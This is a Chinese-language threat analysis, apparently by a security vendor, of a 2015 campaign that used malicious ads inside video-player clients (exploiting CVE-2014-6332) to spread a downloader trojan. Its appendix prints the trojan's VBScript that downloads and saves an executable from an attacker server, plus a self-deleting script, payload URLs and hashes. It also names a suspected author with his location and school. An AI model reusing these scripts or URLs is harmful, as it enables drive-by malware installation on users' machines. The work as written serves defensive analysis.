祸起萧墙:由播放器引爆的全国性大规模挂马分析

  • A+
所属分类:业界关注

事件起因

从5月底开始,360云安全系统监测到一个名为“中国插件联盟”的下载者木马感染量暴涨。令人匪夷所思的是,该木马的下载通道竟然是多款用户量上千万甚至过亿的播放器客户端。

起初,我们怀疑这些播放器的升级文件被木马进行了网络劫持。通过对木马下载重灾区搜狐影音的分析,我们发现搜狐影音对网络下载的运行代码做了完整性校验,但并没有对安全性做校验,比如签名信息等,确实可以被劫持升级种木马。不过从数据分析显示,这一波利用播放器下载的木马分布在全国不同地域、不同运营商,基本可以排除网络劫持的可能性。

真正的问题出在哪里呢?我们在网友反馈中找到“中国插件联盟”的受害者,联系受害者在真实环境中查找线索,力图从源头上遏制该木马的传播,而不仅仅是查杀掉木马。对受害用户调查显示,中招电脑上的搜狐影音通过官方渠道安装,本身没有捆绑木马;在此次中招前大约一个月时间内,电脑也没有执行过可疑程序。那么最大的可能性就是,搜狐影音被第三方挂马了!

经过重点监测和测试验证,我们发现在搜狐影音客户端展示的一个私服广告页面,带有IE远程代码执行漏洞(CVE-2014-6332)的挂马代码,可以利用搜狐影音去执行木马代码。

进一步调查证明,中招电脑绝大多数为XP系统,少数是没有打补丁的Win7、Win8系统;搜狐影音的挂马则来自第三方广告联盟,这也是有多款播放器成为挂马通道的重要原因。

由于杀毒软件对浏览器进程防护比较严密,即使漏洞被触发,一般也能保证挂马攻击不会逃逸。但对于播放器等可以加载网页广告的其他客户端,则成为众多杀软的防护盲区。挂马攻击通过客户端广告触发,用户只要启动播放器就可能中招。

由于播放器挂马异常隐蔽且行踪不定,受影响播放器的用户量又非常庞大,为此360安全卫士快速升级增加了对播放器等客户端的防挂马支持,以应对流行软件引入第三方内容带来的安全隐患。

从6月1日至6月25日,360对播放器挂马的拦截量累计已达到3537406次,这也是今年以来国内最大规模的木马攻击事件。

祸起萧墙:由播放器引爆的全国性大规模挂马分析

搜狐影音执行木马脚本

攻击原理

此次播放器挂马攻击,利用的是2014年公开的IE神洞CVE-2014-6332,漏洞起因是VBScript虚拟机中的一个整型溢出,具体触发原理在此略过,网上已有很多详细分析。使用IE内核做页面展示的软件,如果调用到了VBScript,都可能触发这个漏洞。另外由于该漏洞是在XP停服之后公开的,XP系统将永久受到此漏洞影响。

祸起萧墙:由播放器引爆的全国性大规模挂马分析

攻击原理图

案例分析

我们分析了搜狐影音被攻击的过程,国内还有一些知名软件存在同样问题,搜狐影音则是第一波大规模攻击时木马利用的客户端。

首先,搜狐影音在其内部加入了WebBrowser的支持,使用的内核是系统的IE内核,通过这个内核来展示页面内容和广告:

祸起萧墙:由播放器引爆的全国性大规模挂马分析

搜狐影音的主界面以及展示的广告

系统的IE内核支持对VBScript的解析,并调用到了VB虚拟机,如果通过WebBrowser解析的页面中存在vbs脚本,脚本就会交给VB虚拟机执行。

祸起萧墙:由播放器引爆的全国性大规模挂马分析

搜狐影音客户端页面内展示的广告,有一部分来自广告联盟和各种营销平台:

祸起萧墙:由播放器引爆的全国性大规模挂马分析

分析发现在一个被展示的私服广告页面中,被插入了一个恶意的iframe标签,标签内容带有一段vbs脚本:

祸起萧墙:由播放器引爆的全国性大规模挂马分析

通过对脚本进行解密,发现其中包含了6332漏洞利用代码,这段代码是由网上公开的一段poc改造而来。

祸起萧墙:由播放器引爆的全国性大规模挂马分析

最终,成功利用SHRes执行攻击脚本,通过cmd写入一个vbs脚本执行:

祸起萧墙:由播放器引爆的全国性大规模挂马分析

在对攻击代码的分析中,我们发现至少包含了这两种攻击脚本:

祸起萧墙:由播放器引爆的全国性大规模挂马分析

祸起萧墙:由播放器引爆的全国性大规模挂马分析

PayLoad分析

脚本执行之后,会从指定url下载一个可执行文件执行,下载的这个可执行文件是一个叫“中国插件联盟”的下载者。它会继续下载一个下载者、一个远控木马和大量安装包到本地,新下载的下载者继续下载安装包,形成连环静默推广之势(可怜的用户电脑呀),被推广的软件包括瑞星、色彩看看,语音朗读小说阅读器,61一键启动,护眼神器,武汉网知力,美图浏览,天天9块9(有二次推广)等。

祸起萧墙:由播放器引爆的全国性大规模挂马分析

图:中招电脑惨不忍睹

远控木马则通过一系列手法隐藏自身,同时操作注册表写入服务,使远控木马开机自启动。

祸起萧墙:由播放器引爆的全国性大规模挂马分析

图:播放器挂马行为链

“中国插件联盟”真凶调查

通过对“中国插件联盟”木马服务器的追踪调查,初步判断其作者是网名为yesimck的黑产人员,该作者QQ签名为“华越网络 正式上线 无限收安装量 www.vooyee.com”。

追踪线索如下:

域名注册信息:ichajianlianmeng.com

祸起萧墙:由播放器引爆的全国性大规模挂马分析

木马服务器信息:

祸起萧墙:由播放器引爆的全国性大规模挂马分析

作者网名:yesimck(网络资料显示其位于重庆万州,重庆中意职业技术学校)

祸起萧墙:由播放器引爆的全国性大规模挂马分析

祸起萧墙:由播放器引爆的全国性大规模挂马分析

祸起萧墙:由播放器引爆的全国性大规模挂马分析

所在地区和域名注册信息相符:

祸起萧墙:由播放器引爆的全国性大规模挂马分析

祸起萧墙:由播放器引爆的全国性大规模挂马分析

祸起萧墙:由播放器引爆的全国性大规模挂马分析

祸起萧墙:由播放器引爆的全国性大规模挂马分析

祸起萧墙:由播放器引爆的全国性大规模挂马分析

种种迹象显示,yesimck是一名专门从事利用木马推广软件的黑产人员,其网络信息与“中国插件联盟”下载者的服务器和域名信息吻合。

数据统计

此次播放器挂马攻击从5月30日开始出现,5月31日进入活跃期。以下是本月360对播放器挂马(yesimck)的拦截量统计,单日最高拦截量达到70万次:

祸起萧墙:由播放器引爆的全国性大规模挂马分析

通过对拦截数据分析,这一波攻击属于间歇性爆发,很可能是攻击者在有意控制着木马的传播,以避免其过快暴露。以6月24日拦截数据为例,该木马只是在下午集中出现,其它时段相对寂静。

祸起萧墙:由播放器引爆的全国性大规模挂马分析

解决方案

对网民来说,Win7、Win8用户应安装补丁,切莫被“打补丁会拖慢电脑”的谣言误导。由于微软为已知漏洞提供了补丁,普通网民只要及时修复漏洞就能防范挂马攻击;XP用户可以选择升级系统,或使用具备播放器挂马防护能力的安全软件。在国内安全软件中,360已经全面支持浏览器、播放器等多类型客户端的挂马防护。

对软件厂商来说,首先应加强对广告的审核,避免外链其它未知内容,防止广告被掺杂恶意代码。另一个不容忽视的问题是,厂商应严格规范渠道行为,避免成为恶意推广的幕后金主。针对已经发现的恶意渠道,应及时采用法律手段进行严厉打击,否则软件厂商本身就成为了滋生流氓推广的温床。

附录:来自播放器的你——“中国插件联盟”木马分析

0×01  vbs脚本

该脚本的作用是将远程服务器上的svchost.exe程序重命名为putty.exe(一个下载者)文件:

   1: Set xPost=createObject("Microsoft.XMLHTTP")
   2: xPost.Open "GET","http://183.xxx.80.93:3389/svchost.exe",0
   3: xPost.Send()
   4: set sGet=createObject("ADODB.Stream")
   5: sGet.Mode=3
   6: sGet.Type=1
   7: sGet.Open()
   8: sGet.Write xPost.ResponseBody
   9: sGet.SaveToFile "C:\Windows\Temp\putty.exe",2
   10: Set xPost=createObject("Microsoft.XMLHTTP")
   11: xPost.Open "GET","http://183.xxx.80.93:3377/svchost.exe",0
   12: xPost.Send()
   13: set sGet=createObject("ADODB.Stream")
   14: sGet.Mode=3
   15: sGet.Type=1
   16: sGet.Open()
   17: sGet.Write xPost.ResponseBody
   18: sGet.SaveToFile "C:\Windows\Temp\putty.exe",2

0×02  putty.exe程序分析

1.  读取远程服务器上的txt文档,进行批量下载

读取hxxp://txt.ichajianlianmeng.com:88/1001.txt页面的内容,然后进行下载。调用用InternetConnectA建立远程访问

祸起萧墙:由播放器引爆的全国性大规模挂马分析

通过httpOpenRequestA和HttpSendRequestA创建请求并发送请求到HTTP服务器:

祸起萧墙:由播放器引爆的全国性大规模挂马分析

读取到远程服务器中的txt保存的内容(该文件中的内容经常变动,一段时间能捕获到远控木马。)

hxxp://down.ichajianlianmeng.com:888/sie.exe

hxxp://www.yczuowenwang.com/xp.exe

hxxp://cdn.yuu361.com/download/Fresh_20i5_052039fc.exe

hxxp://down.woka123.cn/qudao/lol/dmxyxhh_504.exe

hxxp://down.biomall.org.cn/meng/up/niutu410202.exe

hxxp://down.nvjay.com:6677/huajun/huajun_15-8.exe

hxxp://down.ichajianlianmeng.com:888/59801_6789_sd1.exe

hxxp://down.sushouspell.com/sushou/sw/-2208_1_ss.exe

hxxp://download.suxiazai.com/for_down/2013/install1552262.exe

通过InternetReadFile依次读取上面链接的内容到程序中:

祸起萧墙:由播放器引爆的全国性大规模挂马分析

创建文件、写入数据、执行该程序:

祸起萧墙:由播放器引爆的全国性大规模挂马分析

祸起萧墙:由播放器引爆的全国性大规模挂马分析

后面就循环读取完链接中的内容并创建进程,第一轮下载就完毕了:

祸起萧墙:由播放器引爆的全国性大规模挂马分析

中间会创建一个空的MD5文件,该文件只是用来做标记,如果再次运行这个下载者就不再进行下载了:

祸起萧墙:由播放器引爆的全国性大规模挂马分析

0×03  sie.exe—下载者里的下载者

木马就像混黑社会似的,也喜欢打群架,这个下载者又放出一个下载者,两者的功能和实现都一样,这里就不再重复分析了。

第二轮下载通过访问hxxp://txt.ichajianlianmeng.com:88/siedown.txt文件中的以下链接进行下载:

   1: http://down.meituview.com/MTViewbuildmtview_116.exe
   2: #
   3: http://down.secaikan.com/sckt/jm/setup_sc150002.exe
   4: #
   5: http://down.shkbx.com/SC_rg0cfc_xt2005_1.exe
   6: #
   7: http://down.shkbx.com/SC_rg0cfc_xt2000_1.exe
   8: #
   9: http://down.woka123.cn/qudao/lol/dmxyxhh_505.exe
  10: #
  11: http://down.sou2v.com/UserFiles/install_107_1a.exe
  12: #
  13: http://down.sushouspell.com/sushou/sw/-2208_1_ss.exe

然后得到以下文件:

祸起萧墙:由播放器引爆的全国性大规模挂马分析

如果中招,电脑会变成如下样子。重启后桌面图标还会更多一些,为照顾密集恐惧症患者,这里不再贴出:

祸起萧墙:由播放器引爆的全国性大规模挂马分析

0×04  xx360.exe远控木马

和所有木马作者一样,“中国插件联盟”对360的仇恨也是深入骨髓。再看看该下载者放出的远控木马(xx360)。

通过乱序字符串拼接的方式获取到即将创建文件的路径:

祸起萧墙:由播放器引爆的全国性大规模挂马分析

创建文件、访问hxxp://61.160.195.24:666/NetSyst81.dll并读取数据到内存中

祸起萧墙:由播放器引爆的全国性大规模挂马分析

祸起萧墙:由播放器引爆的全国性大规模挂马分析

祸起萧墙:由播放器引爆的全国性大规模挂马分析

将刚刚读取到的数据写入NetSys.dll文件中

祸起萧墙:由播放器引爆的全国性大规模挂马分析

祸起萧墙:由播放器引爆的全国性大规模挂马分析

读取NetSys.dll中的内容,并在内存再申请空间,解密刚刚获取到的NetSys.dll文件,解密后获得一个PE结构的文件(利用这样的方法迷惑杀毒软件):

祸起萧墙:由播放器引爆的全国性大规模挂马分析

祸起萧墙:由播放器引爆的全国性大规模挂马分析

创建并执行Terms.EXE.exe文件:

祸起萧墙:由播放器引爆的全国性大规模挂马分析

创建注册表和服务,达到隐藏和长期驻扎在用户电脑里而且开机自启动:

祸起萧墙:由播放器引爆的全国性大规模挂马分析

祸起萧墙:由播放器引爆的全国性大规模挂马分析

释放vbs文件,删除自身,使自己隐藏起来:

   1: dim wsh
   2: On Error Resume Next
   3: set wsh=createObject("WScript.Shell")
   4: Set objFSO = CreateObject("Scripting.FileSystemObject")
   5: wscript.sleep 1000
   6: objFSO.DeleteFile("C:\Documents and Settings\Administrator\桌面\360.exe"), True
   7: createobject("scripting.filesystemobject").deletefile wscript.scriptfullname

对远控抓包分析(原来的远控木马已经不能连接上了,这里把自己的主机配置成该目标程序),一看就是zlib格式的,前面就是一个头,截取后面的拿去python脚本里跑一跑:

祸起萧墙:由播放器引爆的全国性大规模挂马分析

用Python解密后,看到自己电脑的操作系统版本,以及用户名,还有上线时间了

   1: a = 'b313640002154620310788598118c4d6e062606002d2c1a9456599c9a90a0189c9d90ac60c7407cc208211e8220510e3c00ac60686ff20b137f68c50150220820b44241695649416eb1a1a269ba6985b1a32182d3c68ac676ce4ee51c56070e68dc1a98d26e6dbaf31d88459e8991bda2904c71b1a19181b98321819189aea1a98e91a1a29181a5a9918321c5973e2fcf66bd75f329cdbb27dd1f96b0a0c0029dd29b0'
   2: import codecs
   3: b = codecs.decode(a, 'hex_codec')
   4: zlib.decompress(b, -8)

0×05  部分样本信息

以下是通过“中国插件联盟”下载者捕获到的文件MD5。由于该远程服务器上的数据包在不断更新,获取到的安装包有很大量,以下只是其中一部分:

   1: e3198f710f307e16413cd7d599f971ebc
   2: e3198f710f307e16413cd7d599f971eb
   3: 1552ccfa8cef81056d5c23d167cafd19c
   4: 1552ccfa8cef81056d5c23d167cafd19
   5: bba33d5501a780c392e4da520506da25
   6: 6b08cdde7530efab0a9a5275ff4867b3
   7: abba9c49e181f27b4f387ab88c505646
   8: a22e31255f3092f4d1b429d76976ba0f
   9: 8268182d660f2d72c05ff3c2bec90f61
  10: 8910b238873a26f76854c102eab68673
  11: 2a011d1c0ad02a9acf5315ccb7657713
  12: e41c325df557e54ab95ff5dc81abfd8c
  13: 20d6852156af4db9cac546e666a436ff
  14: a22e31255f3092f4d1b429d76976ba0f
  15: e0126226ff5a65b283db12d02ccc5a1d
  16: 27c38edd7fd7c8c2eeddac457a407c0f
  17: 8fa79dd7f1ba8b047862a904c69d40da
  18: e94591e1dd94d0ea6fe2f03d9cdde05c
  19: 6d0678e31452aafd6aee2c4947b4ef48
  20: 6a5ab49d61623e22618e8b9c4904e85f
  21: 45529e071f7f5d5b05705a9e35c5ddab
  22: 5312719ecc909d4c47452eacc8452c73
  23: 5312719ecc909d4c47452eacc8452c73

*作者:360安全卫士(企业帐号),转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: